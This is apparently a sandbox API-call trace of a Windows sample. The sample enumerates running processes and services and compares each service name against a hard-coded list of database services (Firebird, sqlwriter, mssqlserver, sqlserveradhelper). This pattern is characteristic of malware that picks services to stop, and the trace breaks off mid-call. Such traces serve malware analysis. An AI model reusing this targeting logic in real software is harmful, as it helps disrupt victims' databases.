[0292.647] lstrlenW (lpString="SearchUI.exe") returned 12 [0292.647] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.648] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0292.648] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.649] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0292.649] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0292.650] lstrlenW (lpString="chrome64b.exe") returned 13 [0292.650] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0292.651] lstrlenW (lpString="dllhost.exe") returned 11 [0292.651] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0292.651] lstrlenW (lpString="chrome64b.exe") returned 13 [0292.651] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0292.652] lstrlenW (lpString="cmd.exe") returned 7 [0292.652] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0292.654] lstrlenW (lpString="conhost.exe") returned 11 [0292.654] Process32NextW (in: hSnapshot=0x354, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0292.655] CloseHandle (hObject=0x354) returned 1 [0292.655] Sleep (dwMilliseconds=0x1f4) [0293.489] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75a378 [0293.489] EnumServicesStatusExW (in: hSCManager=0x75a378, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0293.490] GetLastError () returned 0xea [0293.490] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x3d01528 [0293.490] EnumServicesStatusExW (in: hSCManager=0x75a378, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d01528, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d01528, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0293.491] CloseServiceHandle (hSCObject=0x75a378) returned 1 [0293.491] lstrlenW (lpString="Appinfo") returned 7 [0293.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0293.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0293.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0293.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0293.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0293.491] lstrlenW (lpString="AppXSvc") returned 7 [0293.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0293.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0293.491] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0293.491] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0293.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0293.491] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0293.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0293.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0293.491] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0293.491] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0293.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0293.491] lstrlenW (lpString="Audiosrv") returned 8 [0293.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0293.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0293.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0293.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0293.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0293.492] lstrlenW (lpString="BFE") returned 3 [0293.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0293.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0293.492] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0293.492] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0293.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0293.492] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0293.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0293.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0293.492] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0293.492] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0293.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0293.492] lstrlenW (lpString="CDPSvc") returned 6 [0293.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0293.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0293.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0293.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0293.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0293.492] lstrlenW (lpString="ClickToRunSvc") returned 13 [0293.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0293.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0293.492] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0293.492] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0293.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0293.492] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0293.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0293.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0293.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0293.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0293.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0293.492] lstrlenW (lpString="CryptSvc") returned 8 [0293.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0293.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0293.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0293.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0293.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0293.492] lstrlenW (lpString="DcomLaunch") returned 10 [0293.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0293.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0293.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0293.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0293.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0293.493] lstrlenW (lpString="DeviceAssociationService") returned 24 [0293.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0293.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0293.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0293.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0293.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0293.493] lstrlenW (lpString="Dhcp") returned 4 [0293.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0293.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0293.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0293.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0293.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0293.493] lstrlenW (lpString="Dnscache") returned 8 [0293.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0293.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0293.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0293.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0293.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0293.493] lstrlenW (lpString="DPS") returned 3 [0293.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0293.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0293.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0293.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0293.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0293.493] lstrlenW (lpString="DusmSvc") returned 7 [0293.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0293.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0293.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0293.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0293.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0293.493] lstrlenW (lpString="EventLog") returned 8 [0293.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0293.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0293.494] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0293.494] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0293.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0293.494] lstrlenW (lpString="EventSystem") returned 11 [0293.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0293.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0293.494] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0293.494] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0293.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0293.494] lstrlenW (lpString="FontCache") returned 9 [0293.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0293.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0293.494] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0293.494] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0293.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0293.494] lstrlenW (lpString="gpsvc") returned 5 [0293.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0293.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0293.494] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0293.495] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0293.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0293.495] lstrlenW (lpString="iphlpsvc") returned 8 [0293.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0293.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0293.495] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0293.495] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0293.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0293.495] lstrlenW (lpString="KeyIso") returned 6 [0293.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0293.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0293.495] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0293.495] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0293.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0293.495] lstrlenW (lpString="LanmanServer") returned 12 [0293.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0293.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0293.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0293.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0293.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0293.495] lstrlenW (lpString="LanmanWorkstation") returned 17 [0293.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0293.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0293.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0293.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0293.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0293.495] lstrlenW (lpString="lfsvc") returned 5 [0293.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0293.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0293.495] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0293.495] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0293.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0293.495] lstrlenW (lpString="lmhosts") returned 7 [0293.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0293.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0293.496] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0293.496] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0293.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0293.496] lstrlenW (lpString="LSM") returned 3 [0293.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0293.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0293.496] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0293.496] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0293.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0293.496] lstrlenW (lpString="MpsSvc") returned 6 [0293.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0293.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0293.496] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0293.496] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0293.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0293.496] lstrlenW (lpString="NcbService") returned 10 [0293.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0293.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0293.496] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0293.496] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0293.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0293.496] lstrlenW (lpString="netprofm") returned 8 [0293.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0293.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0293.496] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0293.496] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0293.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0293.496] lstrlenW (lpString="NgcSvc") returned 6 [0293.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0293.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0293.496] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0293.496] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0293.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0293.496] lstrlenW (lpString="NlaSvc") returned 6 [0293.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0293.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0293.496] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0293.496] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0293.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0293.497] lstrlenW (lpString="nsi") returned 3 [0293.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0293.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0293.497] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0293.497] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0293.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0293.497] lstrlenW (lpString="PcaSvc") returned 6 [0293.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0293.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0293.497] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0293.497] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0293.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0293.497] lstrlenW (lpString="PlugPlay") returned 8 [0293.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0293.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0293.497] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0293.497] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0293.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0293.497] lstrlenW (lpString="Power") returned 5 [0293.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0293.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0293.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0293.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0293.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0293.497] lstrlenW (lpString="ProfSvc") returned 7 [0293.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0293.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0293.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0293.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0293.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0293.497] lstrlenW (lpString="RpcEptMapper") returned 12 [0293.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0293.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0293.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0293.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0293.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0293.497] lstrlenW (lpString="RpcSs") returned 5 [0293.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0293.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0293.498] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0293.498] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0293.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0293.498] lstrlenW (lpString="SamSs") returned 5 [0293.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0293.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0293.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0293.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0293.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0293.498] lstrlenW (lpString="Schedule") returned 8 [0293.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0293.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0293.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0293.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0293.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0293.498] lstrlenW (lpString="SecurityHealthService") returned 21 [0293.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0293.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0293.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0293.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0293.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0293.498] lstrlenW (lpString="SENS") returned 4 [0293.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0293.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0293.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0293.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0293.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0293.498] lstrlenW (lpString="ShellHWDetection") returned 16 [0293.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0293.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0293.498] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0293.498] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0293.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0293.498] lstrlenW (lpString="Spooler") returned 7 [0293.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0293.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0293.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0293.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0293.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0293.499] lstrlenW (lpString="StateRepository") returned 15 [0293.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0293.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0293.499] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0293.499] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0293.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0293.499] lstrlenW (lpString="SysMain") returned 7 [0293.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0293.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0293.499] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0293.499] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0293.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0293.499] lstrlenW (lpString="SystemEventsBroker") returned 18 [0293.499] lstrcmpiW 